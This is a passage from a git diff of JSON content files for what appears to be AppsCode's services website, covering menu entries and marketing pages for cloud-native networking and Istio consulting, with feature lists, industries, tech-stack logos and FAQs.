}, + { + "title": "Product Engineering", + "description": "Building faster products - MVP, launch & scale", + "icon": "/assets/images/services/icons8/external-engineering-manufacturing.png", + "offerings": [ + { + "id": "cloud-native-product-development-services", + "title": "Cloud Native Product Development", + "description": "On‑Demand product engineers", + "icon": null + }, + { + "id": "monolith-to-microservices", + "title": "Monolith to Microservices", + "description": "Migrate your legacy applications", + "icon": null + }, + { + "id": "/extending-kubernetes-confidence-with-whitepaper", + "title": "Extending Kubernetes? Custom Resources & Controllers", + "description": "Learn how custom resources & controllers can enhance your Kubernetes environment — Download the 16 page whitepaper", + "icon": null + } + ] + }, + { + "title": "Site Reliability Engineering", + "description": "SRE Experts", + "icon": "/assets/images/services/icons8/ios-50-web-design.png", + "offerings": [ + { + "id": "site-reliability-engineering-consulting-services", + "title": "SRE Consulting", + "description": "The Site Reliability Engineering Experts", + "icon": null + }, + { + "id": "service-mesh-consulting-support", + "title": "Service Mesh Consulting", + "description": "Onboarding Service Mesh? we got you!", + "icon": null + }, + { + "id": "accelerate-cloud-native-networking-services", + "title": "Cloud Native Networking", + "description": "Your cloud networking specialists", + "icon": null + }, + { + "id": "istio-consulting-services", + "title": "Istio Consulting", + "description": "Recognized by Istio for support", + "icon": null + }, + { + "id": "terraform-consulting-services", + "title": "Terraform Consulting", + "description": "Keep infra scalable & efficient", + "icon": null + }, + { + "id": "kubernetes-backup-and-disaster-recovery-services", + "title": "Backup & Disaster Recovery", + "description": "Cloud Native backup & DR experts", + "icon": null + } + ] + }, + { + "title": "Observability & DevSecOps", + "description": "Build a solid observability stack that is secure too!", + "icon": "/assets/images/services/icons8/dotty-80-system-task.png", + "offerings": [ + { + "id": "devsecops-consulting-services-and-implementation", + "title": "DevSecOps Consulting", + "description": "Securing your applications", + "icon": null + }, + { + "id": "observability-consulting-services-and-support", + "title": "Observability Adoption", + "description": "Monitoring, logging, tracing experts", + "icon": null + }, + { + "id": "grafana-consulting-services-and-support", + "title": "Grafana Consulting", + "description": "Adoption to support ‑ we do it all", + "icon": null + }, + { + "id": "prometheus-consulting-services", + "title": "Prometheus Consulting", + "description": "Monitoring & alerting ‑ sorted!", + "icon": null + } + ] + } + ] +} diff --git a/data/services/site-reliability-engineering/cloud_native_networking_services.json b/data/services/site-reliability-engineering/cloud_native_networking_services.json index 191677b7c8..079feb123c 100644 --- a/data/services/site-reliability-engineering/cloud_native_networking_services.json +++ b/data/services/site-reliability-engineering/cloud_native_networking_services.json @@ -1,320 +1,320 @@ -{ - "hero": { - "title": "Accelerate Cloud-Native Networking Services with AppsCode", - "subtitle": "Empower your teams with secure, scalable, and automated cloud-native networking solutions designed for modern Kubernetes environments.", - "cta_text": "Talk to a Networking Expert", - "cta_url": "https://appscode.com/contact/", - "illustration": { - "src": "/assets/images/services/cloud-native-networking-services.png", - "alt": "Cloud Native Networking Services" - } - }, - "trusted_by": { - "title": "Trusted by Innovative Enterprises Worldwide" - }, - "title_with_small_cards": { - "title": "Why Cloud-Native Networking Services Matter", - "areas": [ - { - "icon": "fa fa-shield", - "title": "Secure & Scalable Connectivity" - }, - { - "icon": "fa fa-unlock", - "title": "Zero-Trust Network Policies" - }, - { - "icon": "fa fa-tachometer", - "title": "High Throughput & Availability" - }, - { - "icon": "fa fa-cogs", - "title": "Intelligent Load Balancing" - }, - { - "icon": "fa fa-sitemap", - "title": "Multi-Cluster Networking" - }, - { - "icon": "fa fa-cloud", - "title": "Multi-Cloud Security" - }, - { - "icon": "fa fa-lock", - "title": "End-to-End Encryption" - }, - { - "icon": "fa fa-chart-line", - "title": "Traffic Flow Analytics & Insights" - } - ] - }, - "service_details": { - "title": "AppsCode – Your Trusted Cloud-Native Networking Partner", - "subtitle": "Design, deploy, and optimize secure and resilient networks for Kubernetes and cloud-native workloads with AppsCode.", - "sections": [ - { - "title": "Network Assessment & Optimization", - "description": "Our experts evaluate your network architecture, policies, and automation to uncover gaps, optimize performance, and enhance security.", - "offerings": [ - "Full audit of Kubernetes networking, CNIs, and hybrid cloud infrastructure.", - "Recommendations for secure inter-service communication and traffic visibility.", - "Actionable reports for architecture optimization and future planning." - ], - "image": "/assets/images/services/network-assessment-optimization.png" - }, - { - "title": "Strategic Consulting & Architecture Design", - "description": "We provide strategic guidance to align your cloud-native networking with scalability, security, and performance goals.", - "offerings": [ - "Tailored cloud-native network roadmaps for CNIs and service mesh adoption.", - "Zero-trust network policy design and implementation strategy.", - "Performance, reliability, and cost-efficiency optimization for enterprise networks." - ], - "image": "/assets/images/services/strategic-consulting-architecture-design.png" - }, - { - "title": "Integration & Deployment", - "description": "Deploy CNIs, service meshes, and networking policies seamlessly with minimal downtime across multi-cluster and multi-cloud environments.", - "offerings": [ - "Service mesh and CNI deployment for Kubernetes, VMs, and hybrid environments.", - "Integration with monitoring, observability, and traffic management tools.", - "Automation-driven rollout for faster and more reliable deployments." - ], - "image": "/assets/images/services/integration-deployment.png" - }, - { - "title": "Network Automation & Policy Management", - "description": "Automate network operations to achieve consistency, security, and compliance at scale.", - "offerings": [ - "Automated policy verification and compliance workflows.", - "Reusable automation scripts for day-to-day network management.", - "Proactive observability and reduced manual intervention for NetOps teams." - ], - "image": "/assets/images/services/network-automation-policy-management.png" - }, - { - "title": "Managed Services & Continuous Support", - "description": "Rely on AppsCode’s expert team for ongoing network operations, monitoring, and issue resolution.", - "offerings": [ - "24x7 monitoring for latency, traffic anomalies, and connectivity.", - "Continuous optimization and troubleshooting support.", - "Proactive network health management for cloud-native workloads." - ], - "image": "/assets/images/services/managed-services-continuous-support.png" - }, - { - "title": "Upskilling & Team Enablement", - "description": "Empower your internal teams through guided training, workshops, and hands-on documentation.", - "offerings": [ - "Custom training on Kubernetes networking, CNIs, and service mesh.", - "Workshops on troubleshooting, scaling, and network automation.", - "Build internal capabilities for confident management of cloud-native networks." - ], - "image": "/assets/images/services/upskilling-team-enablement.png" - } - ] - }, - "cards": { - "title": "Why Partner with AppsCode for Cloud-Native Networking?", - "items": [ - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "Certified Cloud-Native Experts", - "description": "AppsCode engineers are CNCF-certified specialists in Kubernetes, networking, and DevOps." - }, - { - "icon": "fa fa-briefcase", - "title": "Deep Domain Knowledge", - "description": "Proven experience implementing cloud-native solutions across 100+ global clients." - }, - { - "icon": "fa fa-trophy", - "title": "Proven Track Record", - "description": "Helping enterprises modernize networking for performance, security, and scalability." - }, - { - "icon": "fa fa-graduation-cap", - "title": "Training & Knowledge Transfer", - "description": "We don’t just deploy; we enable your team to manage and evolve your cloud-native systems." - }, - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "CNCF Silver Member", - "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." - }, - { - "icon": "fa fa-users", - "title": "Flexible Scaling", - "description": "Easily extend your DevOps or SRE team with AppsCode’s experienced cloud-native engineers." - } - ] - }, - "industries": { - "title": "Industry Expertise That Delivers Results", - "subtitle": "We combine deep technical knowledge with domain-specific experience to deliver secure, scalable networking for every industry.", - "additional_text": "From enterprises with global datacenters to fast-scaling startups — we’ve got you covered.", - "sectors": [ - { - "icon": "fa fa-bank", - "title": "Banking & Finance", - "description": "Deliver 24/7 secure and compliant digital banking experiences with zero downtime." - }, - { - "icon": "fa fa-laptop", - "title": "Technology & SaaS", - "description": "Optimize multi-tenant applications with intelligent load balancing and automated network scaling." - }, - { - "icon": "fa fa-car", - "title": "Automotive", - "description": "Enhance reliability in connected vehicles and autonomous systems through resilient networking." - }, - { - "icon": "fa fa-plug", - "title": "Energy & Utilities", - "description": "Enable real-time monitoring and automation through reliable, secure data transmission." - }, - { - "icon": "fa fa-hospital-o", - "title": "Healthcare", - "description": "Protect patient data and ensure uninterrupted access to healthcare systems across clouds." - }, - { - "icon": "fa fa-plane", - "title": "Travel & Hospitality", - "description": "Deliver seamless customer experiences with responsive, cloud-native networking." - } - ] - }, - "tech_stack": { - "title": "Deep Expertise Across Cloud-Native Networking Technologies", - "subtitle": "Our engineers bring hands-on experience with the most popular CNIs, service meshes, and networking frameworks.", - "technologies": [ - { - "name": "Kubernetes", - "logo": "/assets/images/technical-expertise/kubernetes.svg" - }, - { - "name": "Red Hat OpenShift", - "logo": "/assets/images/technical-expertise/openshift.svg" - }, - { - "name": "Rancher by SUSE", - "logo": "/assets/images/technical-expertise/rancher.svg" - }, - { - "name": "Amazon EKS", - "logo": "/assets/images/technical-expertise/eks.svg" - }, - { - "name": "Azure AKS", - "logo": "/assets/images/technical-expertise/aks.svg" - }, - { - "name": "Google GKE", - "logo": "/assets/images/technical-expertise/gke.svg" - }, - { - "name": "ArgoCD", - "logo": "/assets/images/technical-expertise/argocd.svg" - }, - { - "name": "FluxCD", - "logo": "/assets/images/technical-expertise/fluxcd.svg" - }, - { - "name": "Helm", - "logo": "/assets/images/technical-expertise/helm.svg" - }, - { - "name": "KubeDB", - "logo": "/assets/images/technical-expertise/kubedb.svg" - }, - { - "name": "KubeStash", - "logo": "/assets/images/technical-expertise/stash.svg" - }, - { - "name": "Voyager Gateway", - "logo": "/assets/images/technical-expertise/voyager.svg" - }, - { - "name": "OpenTelemetry", - "logo": "/assets/images/technical-expertise/opentelemetry.svg" - }, - { - "name": "Prometheus", - "logo": "/assets/images/technical-expertise/prometheus.svg" - }, - { - "name": "Thanos", - "logo": "/assets/images/technical-expertise/thanos.svg" - }, - { - "name": "Grafana", - "logo": "/assets/images/technical-expertise/grafana.svg" - }, - { - "name": "Terraform", - "logo": "/assets/images/technical-expertise/terraform.svg" - }, - { - "name": "Vault", - "logo": "/assets/images/technical-expertise/vault.svg" - }, - { - "name": "Open Policy Agent", - "logo": "/assets/images/technical-expertise/open-policy-agent.png" - }, - { - "name": "OpenFGA", - "logo": "/assets/images/technical-expertise/openfga.svg" - } - ] - }, - "faq": [ - { - "question": "What do your Cloud-Native Networking Services include?", - "answer": "Our Cloud-Native Networking Services help organizations design, implement, and optimize networking for cloud-native applications. We cover service connectivity, traffic routing, load balancing, network security, observability, and scalability for modern microservices architectures." - }, - { - "question": "Which technologies and practices are used in cloud-native networking?", - "answer": "We leverage Kubernetes networking, service meshes like Istio, Envoy proxies, CNI plugins, cloud provider networking services, and observability tools. Our approach ensures secure, reliable, and high-performance connectivity across cloud-native environments." - }, - { - "question": "Can you work with our existing cloud infrastructure and applications?", - "answer": "Yes — we integrate cloud-native networking practices with your current infrastructure and workloads, optimize traffic management, enforce security policies, and provide guidance to improve network performance and reliability." - }, - { - "question": "What is the typical timeline and engagement model for Cloud-Native Networking Services?", - "answer": "Engagements usually start with a 1–2 week assessment of your networking architecture and cloud environments. Implementation follows in 4–8 week phases. We offer fixed-scope projects, time-and-materials consulting, or long-term networking advisory partnerships." - }, - { - "question": "Do Cloud-Native Networking Services support multi-cloud or hybrid deployments?", - "answer": "Absolutely. Our services are designed for multi-cloud and hybrid environments, ensuring consistent network connectivity, security, and performance across AWS, Azure, GCP, and on-premises Kubernetes clusters." - }, - { - "question": "How do you ensure security, reliability, and performance in cloud-native networking?", - "answer": "We enforce network segmentation, mTLS encryption, traffic routing policies, monitoring, logging, and automated failover. These measures help maintain secure, reliable, and high-performance networking for cloud-native applications." - }, - { - "question": "What happens after Cloud-Native Networking Services implementation?", - "answer": "After implementation, we provide ongoing guidance, monitoring, and optimization. Our services include knowledge transfer, training, best practice documentation, and continuous improvement recommendations for long-term success." - }, - { - "question": "How much do Cloud-Native Networking Services cost, and what are the pricing models?", - "answer": "Pricing depends on network complexity, number of clusters, and ongoing support needs. We offer fixed-scope projects, hourly consulting, and long-term retainers. Detailed proposals are provided after the assessment phase." - } - ], - "final_cta": { - "subtitle": "Talk to AppsCode experts to design, deploy, or optimize your Kubernetes networking, CNIs, and service mesh automation.", - "buttons": [ - { - "text": "Talk to a Networking Expert", - "icon": "fa fa-calendar", - "type": "outlined" - } - ] - } -} +{ + "hero": { + "title": "Accelerate Cloud-Native Networking Services with AppsCode", + "subtitle": "Empower your teams with secure, scalable, and automated cloud-native networking solutions designed for modern Kubernetes environments.", + "cta_text": "Talk to a Networking Expert", + "cta_url": "https://appscode.com/contact/", + "illustration": { + "src": "/assets/images/services/cloud-native-networking-services.png", + "alt": "Cloud Native Networking Services" + } + }, + "trusted_by": { + "title": "Trusted by Innovative Enterprises Worldwide" + }, + "title_with_small_cards": { + "title": "Why Cloud-Native Networking Services Matter", + "areas": [ + { + "icon": "fa fa-shield", + "title": "Secure & Scalable Connectivity" + }, + { + "icon": "fa fa-unlock", + "title": "Zero-Trust Network Policies" + }, + { + "icon": "fa fa-tachometer", + "title": "High Throughput & Availability" + }, + { + "icon": "fa fa-cogs", + "title": "Intelligent Load Balancing" + }, + { + "icon": "fa fa-sitemap", + "title": "Multi-Cluster Networking" + }, + { + "icon": "fa fa-cloud", + "title": "Multi-Cloud Security" + }, + { + "icon": "fa fa-lock", + "title": "End-to-End Encryption" + }, + { + "icon": "fa fa-chart-line", + "title": "Traffic Flow Analytics & Insights" + } + ] + }, + "service_details": { + "title": "AppsCode – Your Trusted Cloud-Native Networking Partner", + "subtitle": "Design, deploy, and optimize secure and resilient networks for Kubernetes and cloud-native workloads with AppsCode.", + "sections": [ + { + "title": "Network Assessment & Optimization", + "description": "Our experts evaluate your network architecture, policies, and automation to uncover gaps, optimize performance, and enhance security.", + "offerings": [ + "Full audit of Kubernetes networking, CNIs, and hybrid cloud infrastructure.", + "Recommendations for secure inter-service communication and traffic visibility.", + "Actionable reports for architecture optimization and future planning." + ], + "image": "/assets/images/services/network-assessment-optimization.png" + }, + { + "title": "Strategic Consulting & Architecture Design", + "description": "We provide strategic guidance to align your cloud-native networking with scalability, security, and performance goals.", + "offerings": [ + "Tailored cloud-native network roadmaps for CNIs and service mesh adoption.", + "Zero-trust network policy design and implementation strategy.", + "Performance, reliability, and cost-efficiency optimization for enterprise networks." + ], + "image": "/assets/images/services/strategic-consulting-architecture-design.png" + }, + { + "title": "Integration & Deployment", + "description": "Deploy CNIs, service meshes, and networking policies seamlessly with minimal downtime across multi-cluster and multi-cloud environments.", + "offerings": [ + "Service mesh and CNI deployment for Kubernetes, VMs, and hybrid environments.", + "Integration with monitoring, observability, and traffic management tools.", + "Automation-driven rollout for faster and more reliable deployments." + ], + "image": "/assets/images/services/integration-deployment.png" + }, + { + "title": "Network Automation & Policy Management", + "description": "Automate network operations to achieve consistency, security, and compliance at scale.", + "offerings": [ + "Automated policy verification and compliance workflows.", + "Reusable automation scripts for day-to-day network management.", + "Proactive observability and reduced manual intervention for NetOps teams." + ], + "image": "/assets/images/services/network-automation-policy-management.png" + }, + { + "title": "Managed Services & Continuous Support", + "description": "Rely on AppsCode’s expert team for ongoing network operations, monitoring, and issue resolution.", + "offerings": [ + "24x7 monitoring for latency, traffic anomalies, and connectivity.", + "Continuous optimization and troubleshooting support.", + "Proactive network health management for cloud-native workloads." + ], + "image": "/assets/images/services/managed-services-continuous-support.png" + }, + { + "title": "Upskilling & Team Enablement", + "description": "Empower your internal teams through guided training, workshops, and hands-on documentation.", + "offerings": [ + "Custom training on Kubernetes networking, CNIs, and service mesh.", + "Workshops on troubleshooting, scaling, and network automation.", + "Build internal capabilities for confident management of cloud-native networks." + ], + "image": "/assets/images/services/upskilling-team-enablement.png" + } + ] + }, + "cards": { + "title": "Why Partner with AppsCode for Cloud-Native Networking?", + "items": [ + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "Certified Cloud-Native Experts", + "description": "AppsCode engineers are CNCF-certified specialists in Kubernetes, networking, and DevOps." + }, + { + "icon": "fa fa-briefcase", + "title": "Deep Domain Knowledge", + "description": "Proven experience implementing cloud-native solutions across 100+ global clients." + }, + { + "icon": "fa fa-trophy", + "title": "Proven Track Record", + "description": "Helping enterprises modernize networking for performance, security, and scalability." + }, + { + "icon": "fa fa-graduation-cap", + "title": "Training & Knowledge Transfer", + "description": "We don’t just deploy; we enable your team to manage and evolve your cloud-native systems." + }, + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "CNCF Silver Member", + "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." + }, + { + "icon": "fa fa-users", + "title": "Flexible Scaling", + "description": "Easily extend your DevOps or SRE team with AppsCode’s experienced cloud-native engineers." + } + ] + }, + "industries": { + "title": "Industry Expertise That Delivers Results", + "subtitle": "We combine deep technical knowledge with domain-specific experience to deliver secure, scalable networking for every industry.", + "additional_text": "From enterprises with global datacenters to fast-scaling startups — we’ve got you covered.", + "sectors": [ + { + "icon": "fa fa-bank", + "title": "Banking & Finance", + "description": "Deliver 24/7 secure and compliant digital banking experiences with zero downtime." + }, + { + "icon": "fa fa-laptop", + "title": "Technology & SaaS", + "description": "Optimize multi-tenant applications with intelligent load balancing and automated network scaling." + }, + { + "icon": "fa fa-car", + "title": "Automotive", + "description": "Enhance reliability in connected vehicles and autonomous systems through resilient networking." + }, + { + "icon": "fa fa-plug", + "title": "Energy & Utilities", + "description": "Enable real-time monitoring and automation through reliable, secure data transmission." + }, + { + "icon": "fa fa-hospital-o", + "title": "Healthcare", + "description": "Protect patient data and ensure uninterrupted access to healthcare systems across clouds." + }, + { + "icon": "fa fa-plane", + "title": "Travel & Hospitality", + "description": "Deliver seamless customer experiences with responsive, cloud-native networking." + } + ] + }, + "tech_stack": { + "title": "Deep Expertise Across Cloud-Native Networking Technologies", + "subtitle": "Our engineers bring hands-on experience with the most popular CNIs, service meshes, and networking frameworks.", + "technologies": [ + { + "name": "Kubernetes", + "logo": "/assets/images/technical-expertise/kubernetes.svg" + }, + { + "name": "Red Hat OpenShift", + "logo": "/assets/images/technical-expertise/openshift.svg" + }, + { + "name": "Rancher by SUSE", + "logo": "/assets/images/technical-expertise/rancher.svg" + }, + { + "name": "Amazon EKS", + "logo": "/assets/images/technical-expertise/eks.svg" + }, + { + "name": "Azure AKS", + "logo": "/assets/images/technical-expertise/aks.svg" + }, + { + "name": "Google GKE", + "logo": "/assets/images/technical-expertise/gke.svg" + }, + { + "name": "ArgoCD", + "logo": "/assets/images/technical-expertise/argocd.svg" + }, + { + "name": "FluxCD", + "logo": "/assets/images/technical-expertise/fluxcd.svg" + }, + { + "name": "Helm", + "logo": "/assets/images/technical-expertise/helm.svg" + }, + { + "name": "KubeDB", + "logo": "/assets/images/technical-expertise/kubedb.svg" + }, + { + "name": "KubeStash", + "logo": "/assets/images/technical-expertise/stash.svg" + }, + { + "name": "Voyager Gateway", + "logo": "/assets/images/technical-expertise/voyager.svg" + }, + { + "name": "OpenTelemetry", + "logo": "/assets/images/technical-expertise/opentelemetry.svg" + }, + { + "name": "Prometheus", + "logo": "/assets/images/technical-expertise/prometheus.svg" + }, + { + "name": "Thanos", + "logo": "/assets/images/technical-expertise/thanos.svg" + }, + { + "name": "Grafana", + "logo": "/assets/images/technical-expertise/grafana.svg" + }, + { + "name": "Terraform", + "logo": "/assets/images/technical-expertise/terraform.svg" + }, + { + "name": "Vault", + "logo": "/assets/images/technical-expertise/vault.svg" + }, + { + "name": "Open Policy Agent", + "logo": "/assets/images/technical-expertise/open-policy-agent.png" + }, + { + "name": "OpenFGA", + "logo": "/assets/images/technical-expertise/openfga.svg" + } + ] + }, + "faq": [ + { + "question": "What do your Cloud-Native Networking Services include?", + "answer": "Our Cloud-Native Networking Services help organizations design, implement, and optimize networking for cloud-native applications. We cover service connectivity, traffic routing, load balancing, network security, observability, and scalability for modern microservices architectures." + }, + { + "question": "Which technologies and practices are used in cloud-native networking?", + "answer": "We leverage Kubernetes networking, service meshes like Istio, Envoy proxies, CNI plugins, cloud provider networking services, and observability tools. Our approach ensures secure, reliable, and high-performance connectivity across cloud-native environments." + }, + { + "question": "Can you work with our existing cloud infrastructure and applications?", + "answer": "Yes — we integrate cloud-native networking practices with your current infrastructure and workloads, optimize traffic management, enforce security policies, and provide guidance to improve network performance and reliability." + }, + { + "question": "What is the typical timeline and engagement model for Cloud-Native Networking Services?", + "answer": "Engagements usually start with a 1–2 week assessment of your networking architecture and cloud environments. Implementation follows in 4–8 week phases. We offer fixed-scope projects, time-and-materials consulting, or long-term networking advisory partnerships." + }, + { + "question": "Do Cloud-Native Networking Services support multi-cloud or hybrid deployments?", + "answer": "Absolutely. Our services are designed for multi-cloud and hybrid environments, ensuring consistent network connectivity, security, and performance across AWS, Azure, GCP, and on-premises Kubernetes clusters." + }, + { + "question": "How do you ensure security, reliability, and performance in cloud-native networking?", + "answer": "We enforce network segmentation, mTLS encryption, traffic routing policies, monitoring, logging, and automated failover. These measures help maintain secure, reliable, and high-performance networking for cloud-native applications." + }, + { + "question": "What happens after Cloud-Native Networking Services implementation?", + "answer": "After implementation, we provide ongoing guidance, monitoring, and optimization. Our services include knowledge transfer, training, best practice documentation, and continuous improvement recommendations for long-term success." + }, + { + "question": "How much do Cloud-Native Networking Services cost, and what are the pricing models?", + "answer": "Pricing depends on network complexity, number of clusters, and ongoing support needs. We offer fixed-scope projects, hourly consulting, and long-term retainers. Detailed proposals are provided after the assessment phase." + } + ], + "final_cta": { + "subtitle": "Talk to AppsCode experts to design, deploy, or optimize your Kubernetes networking, CNIs, and service mesh automation.", + "buttons": [ + { + "text": "Talk to a Networking Expert", + "icon": "fa fa-calendar", + "type": "outlined" + } + ] + } +} diff --git a/data/services/site-reliability-engineering/istio_consulting.json b/data/services/site-reliability-engineering/istio_consulting.json index 02957e2c64..7034abc3f1 100644 --- a/data/services/site-reliability-engineering/istio_consulting.json +++ b/data/services/site-reliability-engineering/istio_consulting.json @@ -1,310 +1,310 @@ -{ - "hero": { - "title": "Istio Consulting Services & Enterprise Support Partner", - "subtitle": "Accelerate Istio adoption with expert consulting, seamless implementation, and ongoing enterprise-grade support.", - "cta_text": "TALK TO AN ISTIO EXPERT", - "cta_url": "https://appscode.com/contact/", - "illustration": { - "src": "/assets/images/services/istio-consulting-hero.png", - "alt": "Istio Consulting Services" - } - }, - "trusted_by": { - "title": "Trusted by Innovative Companies Worldwide" - }, - "title_with_small_cards": { - "title": "Why Choose Istio Consulting Services?", - "areas": [ - { - "icon": "fa fa-shield", - "title": "Zero-Trust Security" - }, - { - "icon": "fa fa-clock-o", - "title": "Faster Failure Recovery" - }, - { - "icon": "fa fa-cloud", - "title": "Cloud & Platform Agnostic" - }, - { - "icon": "fa fa-eye", - "title": "Full Traffic Visibility" - }, - { - "icon": "fa fa-cogs", - "title": "Smart Load Balancing" - }, - { - "icon": "fa fa-lock", - "title": "Policy-Driven Security" - }, - { - "icon": "fa fa-sliders", - "title": "Flexible Configuration" - }, - { - "icon": "fa fa-users", - "title": "Secure Service Identity" - } - ] - }, - "service_details": { - "title": "Comprehensive Istio Consulting & Support", - "subtitle": "From initial assessment to enterprise support, we cover every step of your Istio journey with proven methodologies and hands-on expertise.", - "sections": [ - { - "title": "Consulting & Advisory", - "description": "Assess how Istio fits your microservices architecture and design a tailor-made adoption roadmap.", - "offerings": [ - "Comprehensive evaluation of your current infrastructure and workloads.", - "Detailed Istio adoption strategy aligned with your business goals." - ], - "image": "/assets/images/services/istio-consulting-advisory.png" - }, - { - "title": "Production-Grade Istio Deployment", - "description": "Deploy Istio confidently with zero downtime, security, and high availability using best practices.", - "offerings": [ - "Kubernetes, VM, and multi-cloud Istio deployment support.", - "Single and multi-cluster mesh patterns implementation.", - "Active-active and failover setups for enterprise-grade HA." - ], - "image": "/assets/images/services/istio-consulting-implementation.png" - }, - { - "title": "Observability & Traffic Management", - "description": "Gain full visibility and resilience with advanced traffic shaping, metrics, and monitoring integrations.", - "offerings": [ - "Retries, timeouts, fault injection, and circuit breaking setup.", - "Advanced routing: Blue-Green, Canary, A/B testing, and staged rollouts.", - "Full observability using Grafana, Prometheus, Kiali, and Jaeger." - ], - "image": "/assets/images/services/observability-traffic-management.png" - }, - { - "title": "Security & Policy Enforcement", - "description": "Apply Zero-Trust principles with end-to-end encryption and access control for all services.", - "offerings": [ - "mTLS enforcement for encrypted service-to-service communication.", - "Integrate authentication and authorization with existing IDPs.", - "Regular audits and compliance checks for enterprise security." - ], - "image": "/assets/images/services/istio-consulting-security.png" - }, - { - "title": "Enterprise Support & Training", - "description": "Keep your Istio environment healthy, updated, and well-managed with continuous support.", - "offerings": [ - "24×7 support for patches, upgrades, and troubleshooting.", - "Hands-on training for internal teams to build Istio expertise.", - "Architecture reviews and optimization guidance for sustained performance." - ], - "image": "/assets/images/services/enterprise-support-training.png" - } - ] - }, - "cards": { - "title": "Why Choose AppsCode as Your Istio Partner?", - "items": [ - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "Certified Experts", - "description": "50+ engineers specializing in Kubernetes, containers, and cloud-native platforms—helping you build, scale, and automate with confidence" - }, - { - "icon": "fa fa-briefcase", - "title": "Deep Domain Experience", - "description": "Experience from 100+ successful cloud-native client engagements." - }, - { - "icon": "fa fa-trophy", - "title": "Early Adopter", - "description": "US-based pioneer in Kubernetes products and services with years of field expertise." - }, - { - "icon": "fa fa-graduation-cap", - "title": "Hands-on Training", - "description": "We focus on practical learning to empower your internal teams." - }, - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "CNCF Silver Member", - "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." - }, - { - "icon": "fa fa-wrench", - "title": "Recognized Partner", - "description": "Official Istio Professional Services Partner for enterprise-grade consulting." - } - ] - }, - "industries": { - "title": "Istio Consulting Across Industries", - "subtitle": "Decades of cloud-native and service mesh experience across regulated and high-growth industries.", - "additional_text": "From global enterprises to fast-growing startups — we’ve seen it all, and built for it all.", - "sectors": [ - { - "icon": "fa fa-bank", - "title": "Banking & Finance", - "description": "Secure, compliant, and always-on infrastructure for 24×7 transactions." - }, - { - "icon": "fa fa-laptop", - "title": "Technology & SaaS", - "description": "Empowering SaaS teams with secure, performant service mesh foundations." - }, - { - "icon": "fa fa-car", - "title": "Automotive", - "description": "Support connected vehicle platforms with high-performance microservices." - }, - { - "icon": "fa fa-plug", - "title": "Energy & Utilities", - "description": "Optimize resource monitoring and network control with cloud-native automation." - }, - { - "icon": "fa fa-hospital-o", - "title": "Healthcare", - "description": "Enable faster, secure data exchange and compliance-ready workloads." - }, - { - "icon": "fa fa-plane", - "title": "Travel & Hospitality", - "description": "Deliver always-on digital experiences with scalable, resilient platforms." - } - ] - }, - "tech_stack": { - "title": "Our Istio Tech Stack Expertise", - "subtitle": "Certified consultants experienced with leading service mesh and observability tools.", - "technologies": [ - { - "name": "Kubernetes", - "logo": "/assets/images/technical-expertise/kubernetes.svg" - }, - { - "name": "Red Hat OpenShift", - "logo": "/assets/images/technical-expertise/openshift.svg" - }, - { - "name": "Rancher by SUSE", - "logo": "/assets/images/technical-expertise/rancher.svg" - }, - { - "name": "Amazon EKS", - "logo": "/assets/images/technical-expertise/eks.svg" - }, - { - "name": "Azure AKS", - "logo": "/assets/images/technical-expertise/aks.svg" - }, - { - "name": "Google GKE", - "logo": "/assets/images/technical-expertise/gke.svg" - }, - { - "name": "ArgoCD", - "logo": "/assets/images/technical-expertise/argocd.svg" - }, - { - "name": "FluxCD", - "logo": "/assets/images/technical-expertise/fluxcd.svg" - }, - { - "name": "Helm", - "logo": "/assets/images/technical-expertise/helm.svg" - }, - { - "name": "KubeDB", - "logo": "/assets/images/technical-expertise/kubedb.svg" - }, - { - "name": "KubeStash", - "logo": "/assets/images/technical-expertise/stash.svg" - }, - { - "name": "Voyager Gateway", - "logo": "/assets/images/technical-expertise/voyager.svg" - }, - { - "name": "OpenTelemetry", - "logo": "/assets/images/technical-expertise/opentelemetry.svg" - }, - { - "name": "Prometheus", - "logo": "/assets/images/technical-expertise/prometheus.svg" - }, - { - "name": "Thanos", - "logo": "/assets/images/technical-expertise/thanos.svg" - }, - { - "name": "Grafana", - "logo": "/assets/images/technical-expertise/grafana.svg" - }, - { - "name": "Terraform", - "logo": "/assets/images/technical-expertise/terraform.svg" - }, - { - "name": "Vault", - "logo": "/assets/images/technical-expertise/vault.svg" - }, - { - "name": "Open Policy Agent", - "logo": "/assets/images/technical-expertise/open-policy-agent.png" - }, - { - "name": "OpenFGA", - "logo": "/assets/images/technical-expertise/openfga.svg" - } - ] - }, - "faq": [ - { - "question": "What do your Istio Consulting Services include?", - "answer": "Our Istio Consulting Services help organizations implement and optimize Istio service mesh for Kubernetes. We cover traffic management, security policies, observability, fault tolerance, and deployment strategies to enable resilient and secure microservices communication." - }, - { - "question": "Which technologies and practices are used in Istio consulting?", - "answer": "We leverage Istio, Envoy proxies, Kubernetes, Helm charts, Kustomize, CI/CD pipelines, and observability tools. Our approach ensures secure service-to-service communication, traffic routing, telemetry, and automated rollouts for cloud-native applications." - }, - { - "question": "Can you integrate Istio with our existing Kubernetes clusters and applications?", - "answer": "Yes — we integrate Istio with your current clusters and workloads, optimize service mesh configurations, enforce security policies, and implement best practices to ensure reliable and observable communication between microservices." - }, - { - "question": "What is the typical timeline and engagement model for Istio Consulting Services?", - "answer": "Engagements typically start with a 1–2 week assessment of your microservices architecture and current service mesh practices. Implementation follows in 4–8 week phases depending on scope. We offer fixed-scope projects, time-and-materials consulting, or long-term Istio advisory partnerships." - }, - { - "question": "Do Istio Consulting Services support multi-cloud or hybrid deployments?", - "answer": "Absolutely. Our services are designed to work across AWS, Azure, GCP, and on-premises Kubernetes environments, ensuring consistent service mesh management, traffic routing, and security across platforms." - }, - { - "question": "How do you ensure security, reliability, and observability with Istio?", - "answer": "We enforce mTLS for secure communication, role-based access control, traffic policies, monitoring, logging, tracing, automated retries, and fault injection for resilience. These measures maintain secure, reliable, and observable service-to-service communication." - }, - { - "question": "What happens after Istio consulting and implementation?", - "answer": "After implementation, we provide ongoing guidance, monitoring, and optimization. Our services include knowledge transfer, best practice 